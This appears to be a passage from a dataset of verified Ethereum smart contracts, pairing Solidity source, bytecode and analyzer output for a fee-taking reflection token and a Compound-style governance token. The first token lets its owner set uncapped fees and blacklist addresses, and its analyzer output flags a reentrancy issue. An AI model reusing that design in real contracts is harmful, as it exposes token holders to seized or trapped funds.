private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b357600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600a81526943727970746f6c6f677960b01b60208201525b60405161023a9190611a29565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7e565b61069d565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611aaa565b6106b4565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601554610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611aeb565b61071d565b34801561036f57600080fd5b506101fc61037e366004611b18565b610768565b34801561038f57600080fd5b506101fc6107b0565b3480156103a457600080fd5b506102c36103b3366004611aeb565b6107fb565b3480156103c457600080fd5b506101fc61081d565b3480156103d957600080fd5b506101fc6103e8366004611b33565b610891565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611aeb565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610293565b34801561045a57600080fd5b506101fc610469366004611b18565b6108c0565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b50604080518082019091526006815265109054d14d8d60d21b602082015261022d565b3480156104bf57600080fd5b506101fc6104ce366004611b33565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4c565b610937565b3480156104ff57600080fd5b5061026361050e366004611a7e565b610975565b34801561051f57600080fd5b5061026361052e366004611aeb565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7e565b6109d6565b34801561058457600080fd5b506102c3610593366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b33565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611aeb565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c3b565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9c565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c3b565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c3b565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c3b565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c3b565b60005b82811015610a71578160056000868685818110610a2257610a22611c70565b9050602002016020810190610a379190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9c565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c3b565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c3b565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb7565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a29565b5060006112218486611ccf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce6565b816001815181106113cf576113cf611c70565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d03565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166b565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611699565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611738565b6001600160a01b0389166000908152600260205260409020556115c781611797565b6115d184836117e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061164582826114c2565b82101561166257505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361168c5760405162461bcd60e51b81526004016106289190611a29565b5060006112218486611d74565b60008060008060008060008060006116b68a600c54600d54611805565b92509250925060006116c661149f565b905060008060006116d98e87878761185a565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117458385611cb7565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b60006117a161149f565b905060006117af83836118aa565b306000908152600260205260409020549091506117cc9082611738565b30600090815260026020526040902055505050565b6006546117ee90836116f6565b6006556007546117fe9082611738565b6007555050565b600080808061181f606461181989896118aa565b906114c2565b9050600061183260646118198a896118aa565b9050600061184a826118448b866116f6565b906116f6565b9992985090965090945050505050565b600080808061186988866118aa565b9050600061187788876118aa565b9050600061188588886118aa565b905060006118978261184486866116f6565b939b939a50919850919650505050505050565b6000826118b9575060006106ae565b60006118c58385611d96565b9050826118d28583611d74565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112e18161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112e182611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb057611cb0611c86565b5060010190565b60008219821115611cca57611cca611c86565b500190565b600082821015611ce157611ce1611c86565b500390565b600060208284031215611cf857600080fd5b81516112e18161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d535784516001600160a01b031683529383019391830191600101611d2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db057611db0611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5c4574083aa63e7ec1d45abf659fe09ccefe3750983a56e9e70a63e9188448d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,661 |
0x267d1b085e125a86f53d29394fe809b3dae2a7a8 | /**
*Submitted for verification at Etherscan.io on 2020-12-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
pragma experimental ABIEncoderV2;
contract COLOR {
/// @notice EIP-20 token name for this token
string public constant name = "Color";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "COLOR";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 16777216e18; // 16777216 million Comp
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611377565b60405180910390f35b610157610152366004611209565b6102e2565b60405161013b91906112fd565b61016c61039f565b60405161013b9190611308565b61016c6103ae565b61015761018f3660046111ce565b6103d2565b61019c610515565b60405161013b91906115c9565b6101bc6101b7366004611182565b61051a565b60405161013b91906112e9565b6101dc6101d7366004611182565b610535565b005b6101f16101ec366004611182565b610542565b60405161013b9190611599565b61016c61020c366004611182565b61055a565b61022461021f366004611209565b610582565b60405161013b91906115d7565b61016c61023f366004611182565b610799565b61012e6107ab565b61015761025a366004611209565b6107cc565b61022461026d366004611182565b610808565b6101dc610280366004611232565b610879565b61016c61029336600461119c565b610a7c565b61016c610aae565b6102b36102ae366004611290565b610ad2565b60405161013b9291906115aa565b6040518060400160405280600581526020016421b7b637b960d91b81525081565b6000806000198314156102f8575060001961031d565b61031a8360405180606001604052806025815260200161163c60259139610b07565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038b9085906115d7565b60405180910390a360019150505b92915050565b6a0de0b6b3a764000000000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b03909116928592610428928892919061163c90830139610b07565b9050866001600160a01b0316836001600160a01b03161415801561045557506001600160601b0382811614155b156104fd57600061047f83836040518060600160405280603d8152602001611713603d9139610b36565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104f39085906115d7565b60405180910390a3505b610508878783610b75565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61053f3382610d20565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600160205260409020546001600160601b03165b919050565b60004382106105ac5760405162461bcd60e51b81526004016105a390611456565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105da576000915050610399565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610656576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610399565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff16831015610691576000915050610399565b600060001982015b8163ffffffff168163ffffffff16111561075457600282820363ffffffff160481036106c3611154565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561072f576020015194506103999350505050565b805163ffffffff168711156107465781935061074d565b6001820392505b5050610699565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600581526020016421a7a627a960d91b81525081565b6000806107f18360405180606001604052806026815260200161166160269139610b07565b90506107fe338583610b75565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610833576000610872565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152600581526421b7b637b960d91b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667ff86d44f1b3080fc640c3bc711000ce53504da44b246ae744f9a196485424813c6108e2610daa565b306040516020016108f69493929190611335565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016109479493929190611311565b604051602081830303815290604052805190602001209050600082826040516020016109749291906112ce565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109b19493929190611359565b6020604051602081039080840390855afa1580156109d3573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a065760405162461bcd60e51b81526004016105a3906113ca565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a455760405162461bcd60e51b81526004016105a39061149d565b87421115610a655760405162461bcd60e51b